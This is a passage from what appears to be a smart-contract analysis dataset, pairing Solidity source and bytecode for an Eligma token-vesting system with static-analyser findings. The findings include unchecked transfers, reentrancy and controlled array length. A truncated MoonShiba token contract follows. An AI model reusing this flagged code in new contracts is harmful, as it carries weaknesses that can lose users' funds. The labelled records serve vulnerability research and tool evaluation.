72616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e742065786365656473206d617820616d6f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122089e6d575bcc9e8c4bf0fbc8d538c0381c80901d23800f90b999ca62dd70cd64064736f6c63430006060033
{"success": true, "error": null, "results": {}}
9,514
0x3c24f5560797280F12E190cac7e5711a73c91c63
pragma solidity ^0.4.21; contract Owned { address public owner; address public newOwner; function Owned() { owner = msg.sender; } modifier onlyOwner { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } event OwnerUpdate(address _prevOwner, address _newOwner); } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } interface ERC20TokenInterface { function totalSupply() public constant returns (uint256 _totalSupply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } interface TokenVestingInterface { function getReleasableFunds() public view returns(uint256); function release() public ; function setWithdrawalAddress(address _newAddress) external; function revoke(string _reason) public; function getTokenBalance() public constant returns(uint256); function updateBalanceOnFunding(uint256 _amount) external; function salvageOtherTokensFromContract(address _tokenAddress, address _to, uint _amount) external; } interface VestingMasterInterface{ function amountLockedInVestings() view public returns (uint256); function substractLockedAmount(uint256 _amount) external; function addLockedAmount(uint256 _amount) external; function addInternalBalance(uint256 _amount) external; } contract TokenVestingContract is Owned { using SafeMath for uint256; address public beneficiary; address public tokenAddress; uint256 public startTime; uint256 public tickDuration; uint256 public amountPerTick; uint256 public version; bool public revocable; uint256 public alreadyReleasedAmount; bool public revoked; uint256 public internalBalance; event Released(uint256 amount); event RevokedAndDestroyed(string reason); event WithdrawalAddressSet(address _newAddress); event TokensReceivedSinceLastCheck(uint256 amount); event VestingReceivedFunding(uint256 amount); function TokenVestingContract(address _beneficiary, address _tokenAddress, uint256 _startTime, uint256 _tickDuration, uint256 _amountPerTick, uint256 _version, bool _revocable )public onlyOwner{ beneficiary = _beneficiary; tokenAddress = _tokenAddress; startTime = _startTime; tickDuration = _tickDuration; amountPerTick = _amountPerTick; version = _version; revocable = _revocable; alreadyReleasedAmount = 0; revoked = false; internalBalance = 0; } function getReleasableFunds() public view returns(uint256){ uint256 balance = ERC20TokenInterface(tokenAddress).balanceOf(address(this)); // check if there is balance and if it is active yet if (balance == 0 || (startTime >= now)){ return 0; } // all funds that may be released according to vesting schedule uint256 vestingScheduleAmount = (now.sub(startTime) / tickDuration) * amountPerTick; // deduct already released funds uint256 releasableFunds = vestingScheduleAmount.sub(alreadyReleasedAmount); // make sure to release remainder of funds for last payout if(releasableFunds > balance){ releasableFunds = balance; } return releasableFunds; } function setWithdrawalAddress(address _newAddress) public onlyOwner { beneficiary = _newAddress; emit WithdrawalAddressSet(_newAddress); } function release() public returns(uint256 transferedAmount) { checkForReceivedTokens(); require(msg.sender == beneficiary);//, "Funds may be released only to beneficiary"); uint256 amountToTransfer = getReleasableFunds(); require(amountToTransfer > 0);//, "Out of funds"); // internal accounting alreadyReleasedAmount = alreadyReleasedAmount.add(amountToTransfer); internalBalance = internalBalance.sub(amountToTransfer); VestingMasterInterface(owner).substractLockedAmount(amountToTransfer); // actual transfer ERC20TokenInterface(tokenAddress).transfer(beneficiary, amountToTransfer); emit Released(amountToTransfer); return amountToTransfer; } function revoke(string _reason) external onlyOwner { require(revocable); // returns funds not yet vested according to vesting schedule uint256 releasableFunds = getReleasableFunds(); ERC20TokenInterface(tokenAddress).transfer(beneficiary, releasableFunds); VestingMasterInterface(owner).substractLockedAmount(releasableFunds); // have to do it here, can&#39;t use return, because contract selfdestructs // returns remainder of funds to VestingMaster and kill vesting contract VestingMasterInterface(owner).addInternalBalance(getTokenBalance()); ERC20TokenInterface(tokenAddress).transfer(owner, getTokenBalance()); emit RevokedAndDestroyed(_reason); selfdestruct(owner); } function getTokenBalance() public view returns(uint256 tokenBalance) { return ERC20TokenInterface(tokenAddress).balanceOf(address(this)); } // todo public or internal? // master calls this when it uploads funds in order to differentiate betwen funds from master and 3rd party function updateBalanceOnFunding(uint256 _amount) external onlyOwner{ internalBalance = internalBalance.add(_amount); emit VestingReceivedFunding(_amount); } // check for changes in balance in order to track amount of locked tokens and notify master function checkForReceivedTokens() public{ if (getTokenBalance() != internalBalance){ uint256 receivedFunds = getTokenBalance().sub(internalBalance); internalBalance = getTokenBalance(); VestingMasterInterface(owner).addLockedAmount(receivedFunds); emit TokensReceivedSinceLastCheck(receivedFunds); } } function salvageOtherTokensFromContract(address _tokenAddress, address _to, uint _amount) external onlyOwner { require(_tokenAddress != tokenAddress); ERC20TokenInterface(_tokenAddress).transfer(_to, _amount); } } contract VestingMasterContract is Owned { using SafeMath for uint256; // TODO: set this before deploy address public constant tokenAddress = 0xc7C03B8a3FC5719066E185ea616e87B88eba44a3; uint256 public internalBalance = 0; uint256 public amountLockedInVestings = 0; struct VestingStruct{ uint256 arrayPointer; string vestingType; uint256 version; } address[] public vestingAddresses; mapping (address => VestingStruct) public addressToVesting; event VestingContractFunded(address beneficiary, address tokenAddress, uint256 amount); event LockedAmountDecreased(uint256 amount); event LockedAmountIncreased(uint256 amount); event TokensReceivedSinceLastCheck(uint256 amount); ////////// STORAGE HELPERS /////////// function vestingExists(address _vestingAddress) public view returns(bool exists){ if(vestingAddresses.length == 0) {return false;} return (vestingAddresses[addressToVesting[_vestingAddress].arrayPointer] == _vestingAddress); } function storeNewVesting(address _vestingAddress, string _vestingType, uint256 _version) public onlyOwner returns(uint256 vestingsLength) { require(!vestingExists(_vestingAddress)); addressToVesting[_vestingAddress].version = _version; addressToVesting[_vestingAddress].vestingType = _vestingType ; addressToVesting[_vestingAddress].arrayPointer = vestingAddresses.push(_vestingAddress) - 1; return vestingAddresses.length; } function deleteVestingFromStorage(address _vestingAddress) public onlyOwner returns(uint256 vestingsLength) { require(vestingExists(_vestingAddress)); uint256 indexToDelete = addressToVesting[_vestingAddress].arrayPointer; address keyToMove = vestingAddresses[vestingAddresses.length - 1]; vestingAddresses[indexToDelete] = keyToMove; addressToVesting[keyToMove].arrayPointer = indexToDelete; vestingAddresses.length--; return vestingAddresses.length; } function createNewVesting( // todo uncomment address _beneficiary, uint256 _startTime, uint256 _tickDuration, uint256 _amountPerTick, string _vestingType, uint256 _version, bool _revocable ) public onlyOwner returns(address){ TokenVestingContract newVesting = new TokenVestingContract( _beneficiary, tokenAddress, _startTime, _tickDuration, _amountPerTick, _version, _revocable ); storeNewVesting(newVesting, _vestingType, _version); return newVesting; } // add funds to vesting contract function fundVesting(address _vestingContract, uint256 _amount) public onlyOwner { // convenience, so you don&#39;t have to call it manualy if you just uploaded funds checkForReceivedTokens(); // check if there is actually enough funds require((internalBalance >= _amount) && (getTokenBalance() >= _amount)); // make sure that fundee is vesting contract on the list require(vestingExists(_vestingContract)); internalBalance = internalBalance.sub(_amount); ERC20TokenInterface(tokenAddress).transfer(_vestingContract, _amount); TokenVestingInterface(_vestingContract).updateBalanceOnFunding(_amount); emit VestingContractFunded(_vestingContract, tokenAddress, _amount); } function getTokenBalance() public constant returns(uint256) { return ERC20TokenInterface(tokenAddress).balanceOf(address(this)); } // revoke vesting; release releasable funds to beneficiary and return remaining to master and kill vesting contract function revokeVesting(address _vestingContract, string _reason) public onlyOwner{ TokenVestingInterface subVestingContract = TokenVestingInterface(_vestingContract); subVestingContract.revoke(_reason); deleteVestingFromStorage(_vestingContract); } // when vesting is revoked it sends back remaining tokens and updates internalBalance function addInternalBalance(uint256 _amount) external { require(vestingExists(msg.sender)); internalBalance = internalBalance.add(_amount); } // vestings notifies if there has been any changes in amount of locked tokens function addLockedAmount(uint256 _amount) external { require(vestingExists(msg.sender)); amountLockedInVestings = amountLockedInVestings.add(_amount); emit LockedAmountIncreased(_amount); } // vestings notifies if there has been any changes in amount of locked tokens function substractLockedAmount(uint256 _amount) external { require(vestingExists(msg.sender)); amountLockedInVestings = amountLockedInVestings.sub(_amount); emit LockedAmountDecreased(_amount); } // check for changes in balance in order to track amount of locked tokens function checkForReceivedTokens() public{ if (getTokenBalance() != internalBalance){ uint256 receivedFunds = getTokenBalance().sub(internalBalance); amountLockedInVestings = amountLockedInVestings.add(receivedFunds); internalBalance = getTokenBalance(); emit TokensReceivedSinceLastCheck(receivedFunds); }else{ emit TokensReceivedSinceLastCheck(0); } } function salvageOtherTokensFromContract(address _tokenAddress, address _contractAddress, address _to, uint _amount) public onlyOwner { require(_tokenAddress != tokenAddress); if (_contractAddress == address(this)){ ERC20TokenInterface(_tokenAddress).transfer(_to, _amount); } if (vestingExists(_contractAddress)){ TokenVestingInterface(_contractAddress).salvageOtherTokensFromContract(_tokenAddress, _to, _amount); } } function killContract() public onlyOwner{ require(vestingAddresses.length == 0); ERC20TokenInterface(tokenAddress).transfer(owner, getTokenBalance()); selfdestruct(owner); } function setWithdrawalAddress(address _vestingContract, address _beneficiary) public onlyOwner{ require(vestingExists(_vestingContract)); TokenVestingInterface(_vestingContract).setWithdrawalAddress(_beneficiary); } } contract EligmaSupplyContract is Owned { address public tokenAddress; address public vestingMasterAddress; function EligmaSupplyContract(address _tokenAddress, address _vestingMasterAddress) public onlyOwner{ tokenAddress = _tokenAddress; vestingMasterAddress = _vestingMasterAddress; } function totalSupply() view public returns(uint256) { return ERC20TokenInterface(tokenAddress).totalSupply(); } function lockedSupply() view public returns(uint256) { return VestingMasterInterface(vestingMasterAddress).amountLockedInVestings(); } function avaliableSupply() view public returns(uint256) { return ERC20TokenInterface(tokenAddress).totalSupply() - VestingMasterInterface(vestingMasterAddress).amountLockedInVestings(); } function setTokenAddress(address _tokenAddress) onlyOwner public { tokenAddress = _tokenAddress; } function setVestingMasterAddress(address _vestingMasterAddress) onlyOwner public { vestingMasterAddress = _vestingMasterAddress; } }
0x6060604052600436106101195763ffffffff60e060020a600035041663023c8be2811461011e5780630d427b72146101455780631076426814610177578063136cf5c1146101a55780631806874a146101d65780631c02708d146101e95780632e6245c6146101fc578063428657f71461020f57806359d90c19146102705780635e00a1771461028657806364f15430146102e55780636b3ec0ac14610307578063788c26b41461033a57806379ba5097146103b057806382b2e257146103c35780638910cd58146103d65780638da5cb5b146103ec5780639d76ea58146103ff578063a3c88b3114610412578063d4ee1d9014610428578063d87003e51461043b578063f2fde38b146104e0578063f61ac3a4146104ff575b600080fd5b341561012957600080fd5b610143600160a060020a0360043581169060243516610512565b005b341561015057600080fd5b61015b6004356105a0565b604051600160a060020a03909116815260200160405180910390f35b341561018257600080fd5b610143600160a060020a03600435811690602435811690604435166064356105c8565b34156101b057600080fd5b6101c4600160a060020a0360043516610716565b60405190815260200160405180910390f35b34156101e157600080fd5b6101c4610804565b34156101f457600080fd5b61014361080a565b341561020757600080fd5b6101c46108c7565b341561021a57600080fd5b6101c460048035600160a060020a03169060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050933593506108cd92505050565b341561027b57600080fd5b610143600435610995565b341561029157600080fd5b61014360048035600160a060020a03169060446024803590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506109f595505050505050565b34156102f057600080fd5b610143600160a060020a0360043516602435610ad3565b341561031257600080fd5b610326600160a060020a0360043516610c75565b604051901515815260200160405180910390f35b341561034557600080fd5b61015b60048035600160a060020a031690602480359160443591606435919060a49060843590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650508435946020013515159350610ccf92505050565b34156103bb57600080fd5b610143610d78565b34156103ce57600080fd5b6101c4610e1f565b34156103e157600080fd5b610143600435610e96565b34156103f757600080fd5b61015b610ef6565b341561040a57600080fd5b61015b610f05565b341561041d57600080fd5b610143600435610f1d565b341561043357600080fd5b61015b610f4a565b341561044657600080fd5b61045a600160a060020a0360043516610f59565b6040518084815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b838110156104a357808201518382015260200161048b565b50505050905090810190601f1680156104d05780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34156104eb57600080fd5b610143600160a060020a036004351661101b565b341561050a57600080fd5b61014361107d565b60005433600160a060020a0390811691161461052a57fe5b61053382610c75565b151561053e57600080fd5b81600160a060020a03166321b8092e8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561058c57600080fd5b5af1151561059957600080fd5b5050505050565b60048054829081106105ae57fe5b600091825260209091200154600160a060020a0316905081565b60005433600160a060020a039081169116146105e057fe5b600160a060020a03841673c7c03b8a3fc5719066e185ea616e87b88eba44a3141561060a57600080fd5b30600160a060020a031683600160a060020a031614156106905783600160a060020a031663a9059cbb838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561067857600080fd5b5af1151561068557600080fd5b505050604051805150505b61069983610c75565b156107105782600160a060020a0316637b24343e85848460405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b15156106ff57600080fd5b5af1151561070c57600080fd5b5050505b50505050565b600080548190819033600160a060020a0390811691161461073357fe5b61073c84610c75565b151561074757600080fd5b600160a060020a0384166000908152600560205260409020546004805491935090600019810190811061077657fe5b60009182526020909120015460048054600160a060020a03909216925082918490811061079f57fe5b6000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03948516179055918316815260059091526040902082905560048054906107f8906000198301611162565b50506004549392505050565b60035481565b60005433600160a060020a0390811691161461082257fe5b6004541561082f57600080fd5b60005473c7c03b8a3fc5719066e185ea616e87b88eba44a39063a9059cbb90600160a060020a031661085f610e1f565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108a257600080fd5b5af115156108af57600080fd5b50505060405180515050600054600160a060020a0316ff5b60025481565b6000805433600160a060020a039081169116146108e657fe5b6108ef84610c75565b156108f957600080fd5b600160a060020a03841660009081526005602052604090206002810183905560010183805161092c92916020019061118b565b506001600480548060010182816109439190611162565b6000928352602080842092909201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03999099169889179055968252600590526040902094039093555050600454919050565b61099e33610c75565b15156109a957600080fd5b6003546109bc908263ffffffff61113d16565b6003557ff7f8389c02e97ac86a139d13eb8eda336f497f1d49551a0b07764f7e0cb66a3b8160405190815260200160405180910390a150565b6000805433600160a060020a03908116911614610a0e57fe5b5081600160a060020a0381166365b2a863836040518263ffffffff1660e060020a0281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a6f578082015183820152602001610a57565b50505050905090810190601f168015610a9c5780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b1515610aba57600080fd5b5af11515610ac757600080fd5b50505061071083610716565b60005433600160a060020a03908116911614610aeb57fe5b610af361107d565b8060025410158015610b0c575080610b09610e1f565b10155b1515610b1757600080fd5b610b2082610c75565b1515610b2b57600080fd5b600254610b3e908263ffffffff61115016565b60025573c7c03b8a3fc5719066e185ea616e87b88eba44a363a9059cbb838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ba057600080fd5b5af11515610bad57600080fd5b50505060405180515050600160a060020a0382166326000ba28260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b1515610bfd57600080fd5b5af11515610c0a57600080fd5b5050507f6e2e2b234d6c1b0fadd2c59ae182cb8570e6bc7a0a0411082d5539c671bece998273c7c03b8a3fc5719066e185ea616e87b88eba44a383604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15050565b6004546000901515610c8957506000610cca565b600160a060020a038216600081815260056020526040902054600480549091908110610cb157fe5b600091825260209091200154600160a060020a03161490505b919050565b60008054819033600160a060020a03908116911614610cea57fe5b8873c7c03b8a3fc5719066e185ea616e87b88eba44a38989898888610d0d611209565b600160a060020a0397881681529590961660208601526040808601949094526060850192909252608084015260a083015291151560c082015260e0019051809103906000f0801515610d5e57600080fd5b9050610d6b8186866108cd565b5098975050505050505050565b60015433600160a060020a03908116911614610d9357600080fd5b6000546001547f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a1600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600073c7c03b8a3fc5719066e185ea616e87b88eba44a36370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610e7a57600080fd5b5af11515610e8757600080fd5b50505060405180519150505b90565b610e9f33610c75565b1515610eaa57600080fd5b600354610ebd908263ffffffff61115016565b6003557f525e77d2448a79b0e98aff8273b7fca02fbc5d7e691a4ab35e551d4b135e6dbd8160405190815260200160405180910390a150565b600054600160a060020a031681565b73c7c03b8a3fc5719066e185ea616e87b88eba44a381565b610f2633610c75565b1515610f3157600080fd5b600254610f44908263ffffffff61113d16565b60025550565b600154600160a060020a031681565b6005602052806000526040600020600091509050806000015490806001018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561100b5780601f10610fe05761010080835404028352916020019161100b565b820191906000526020600020905b815481529060010190602001808311610fee57829003601f168201915b5050505050908060020154905083565b60005433600160a060020a0390811691161461103357fe5b600054600160a060020a038281169116141561104e57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600060025461108a610e1f565b14611105576110a960025461109d610e1f565b9063ffffffff61115016565b6003549091506110bf908263ffffffff61113d16565b6003556110ca610e1f565b6002557f48b8ff4fe8ea2ab1b59a975094d8616a92b5b37035d6bbeb92ed27a213046ade8160405190815260200160405180910390a161113a565b7f48b8ff4fe8ea2ab1b59a975094d8616a92b5b37035d6bbeb92ed27a213046ade600060405190815260200160405180910390a15b50565b8181018281101561114a57fe5b92915050565b60008282111561115c57fe5b50900390565b81548183558181151161118657600083815260209020611186918101908301611219565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106111cc57805160ff19168380011785556111f9565b828001600101855582156111f9579182015b828111156111f95782518255916020019190600101906111de565b50611205929150611219565b5090565b604051610d348061123483390190565b610e9391905b80821115611205576000815560010161121f56006060604052341561000f57600080fd5b60405160e080610d348339810160405280805191906020018051919060200180519190602001805191906020018051919060200180519190602001805160008054600160a060020a03338116600160a060020a0319909216821792839055929450911614905061007b57fe5b60028054600160a060020a03988916600160a060020a03199182161790915560038054979098169616959095179095556004929092556005556006556007919091556008805491151560ff1992831617905560006009819055600a8054909216909155600b55610c44806100f06000396000f30060606040526004361061010e5763ffffffff60e060020a60003504166303991aea811461011357806321b8092e1461013857806326000ba2146101595780632e6245c61461016f57806337dafa5b1461018257806338af3eed1461019557806354fd4d50146101c457806363d256ce146101d757806365b2a863146101fe57806369a89b851461021c57806378e979251461022f57806379ba5097146102425780637b24343e1461025557806382b2e2571461027d57806386d1a69f14610290578063872a7810146102a35780638da5cb5b146102b65780639d76ea58146102c9578063b888c479146102dc578063d4ee1d90146102ef578063f2fde38b14610302578063f61ac3a414610321575b600080fd5b341561011e57600080fd5b610126610334565b60405190815260200160405180910390f35b341561014357600080fd5b610157600160a060020a0360043516610415565b005b341561016457600080fd5b610157600435610495565b341561017a57600080fd5b6101266104f9565b341561018d57600080fd5b6101266104ff565b34156101a057600080fd5b6101a8610505565b604051600160a060020a03909116815260200160405180910390f35b34156101cf57600080fd5b610126610514565b34156101e257600080fd5b6101ea61051a565b604051901515815260200160405180910390f35b341561020957600080fd5b6101576004803560248101910135610523565b341561022757600080fd5b61012661075b565b341561023a57600080fd5b610126610761565b341561024d57600080fd5b610157610767565b341561026057600080fd5b610157600160a060020a036004358116906024351660443561080e565b341561028857600080fd5b6101266108b1565b341561029b57600080fd5b61012661091f565b34156102ae57600080fd5b6101ea610a8d565b34156102c157600080fd5b6101a8610a96565b34156102d457600080fd5b6101a8610aa5565b34156102e757600080fd5b610126610ab4565b34156102fa57600080fd5b6101a8610aba565b341561030d57600080fd5b610157600160a060020a0360043516610ac9565b341561032c57600080fd5b610157610b2b565b600354600090819081908190600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561038d57600080fd5b5af1151561039a57600080fd5b50505060405180519350508215806103b457504260045410155b156103c2576000935061040f565b6006546005546004546103dc90429063ffffffff610bf316565b8115156103e557fe5b040291506103fe60095483610bf390919063ffffffff16565b90508281111561040b5750815b8093505b50505090565b60005433600160a060020a0390811691161461042d57fe5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790557f66bd5eddcaea62631fc3d03cff2d463154d0c3bf23bb98750762931a81b9428981604051600160a060020a03909116815260200160405180910390a150565b60005433600160a060020a039081169116146104ad57fe5b600b546104c0908263ffffffff610c0516565b600b557fb9a94bb34695fb39c3d607f7377ce796b12d78acc361b308b9718a7e2de221ec8160405190815260200160405180910390a150565b600b5481565b60055481565b600254600160a060020a031681565b60075481565b600a5460ff1681565b6000805433600160a060020a0390811691161461053c57fe5b60085460ff16151561054d57600080fd5b610555610334565b600354600254919250600160a060020a039081169163a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156105b557600080fd5b5af115156105c257600080fd5b50505060405180515050600054600160a060020a0316638910cd588260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561061457600080fd5b5af1151561062157600080fd5b5050600054600160a060020a0316905063a3c88b3161063e6108b1565b60405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561067457600080fd5b5af1151561068157600080fd5b5050600354600054600160a060020a03918216925063a9059cbb91166106a56108b1565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156106e857600080fd5b5af115156106f557600080fd5b50505060405180519050507f2983ef16ace1cb3d9d816aac0a9461443d6551087d36f18e8a5531c1b8dc43d483836040516020808252810182905280604081018484808284378201915050935050505060405180910390a1600054600160a060020a0316ff5b60065481565b60045481565b60015433600160a060020a0390811691161461078257600080fd5b6000546001547f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a1600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60005433600160a060020a0390811691161461082657fe5b600354600160a060020a038481169116141561084157600080fd5b82600160a060020a031663a9059cbb838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561089557600080fd5b5af115156108a257600080fd5b50505060405180515050505050565b600354600090600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561090457600080fd5b5af1151561091157600080fd5b505050604051805191505090565b60008061092a610b2b565b60025433600160a060020a0390811691161461094557600080fd5b61094d610334565b90506000811161095c57600080fd5b60095461096f908263ffffffff610c0516565b600955600b54610985908263ffffffff610bf316565b600b55600054600160a060020a0316638910cd588260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156109d057600080fd5b5af115156109dd57600080fd5b5050600354600254600160a060020a03918216925063a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a3d57600080fd5b5af11515610a4a57600080fd5b50505060405180519050507ffb81f9b30d73d830c3544b34d827c08142579ee75710b490bab0b3995468c5658160405190815260200160405180910390a1919050565b60085460ff1681565b600054600160a060020a031681565b600354600160a060020a031681565b60095481565b600154600160a060020a031681565b60005433600160a060020a03908116911614610ae157fe5b600054600160a060020a0382811691161415610afc57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600b54610b386108b1565b14610bf057610b57600b54610b4b6108b1565b9063ffffffff610bf316565b9050610b616108b1565b600b55600054600160a060020a03166359d90c198260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b1515610bac57600080fd5b5af11515610bb957600080fd5b5050507f48b8ff4fe8ea2ab1b59a975094d8616a92b5b37035d6bbeb92ed27a213046ade8160405190815260200160405180910390a15b50565b600082821115610bff57fe5b50900390565b81810182811015610c1257fe5b929150505600a165627a7a7230582023576b95e03b39f52d4caa56a121b7dbf259fdff72631192cd45acc77a5c86070029a165627a7a72305820c42bbd874bd3c05f6cbf7d3c9b0dd2d1ca8183411ed46b01344900e2685e64fb0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
9,515
0x487ab30652e6ef435a405ec092bb9616f3100463
/** *Submitted for verification at Etherscan.io on 2022-04-21 */ /** MoonShiba ERC-20 ███╗░░░███╗░█████╗░░█████╗░███╗░░██╗░██████╗██╗░░██╗██╗██████╗░░█████╗░ ████╗░████║██╔══██╗██╔══██╗████╗░██║██╔════╝██║░░██║██║██╔══██╗██╔══██╗ ██╔████╔██║██║░░██║██║░░██║██╔██╗██║╚█████╗░███████║██║██████╦╝███████║ ██║╚██╔╝██║██║░░██║██║░░██║██║╚████║░╚═══██╗██╔══██║██║██╔══██╗██╔══██║ ██║░╚═╝░██║╚█████╔╝╚█████╔╝██║░╚███║██████╔╝██║░░██║██║██████╦╝██║░░██║ ╚═╝░░░░░╚═╝░╚════╝░░╚════╝░╚═╝░░╚══╝╚═════╝░╚═╝░░╚═╝╚═╝╚═════╝░╚═╝░░╚═╝ Website: http://moonshiba.website Twitter: https://twitter.com/MoonShibaERC Telegram: https://t.me/MoonShibaERC */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MoonShiba is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "MoonShiba"; string private constant _symbol = "MoonShiba"; 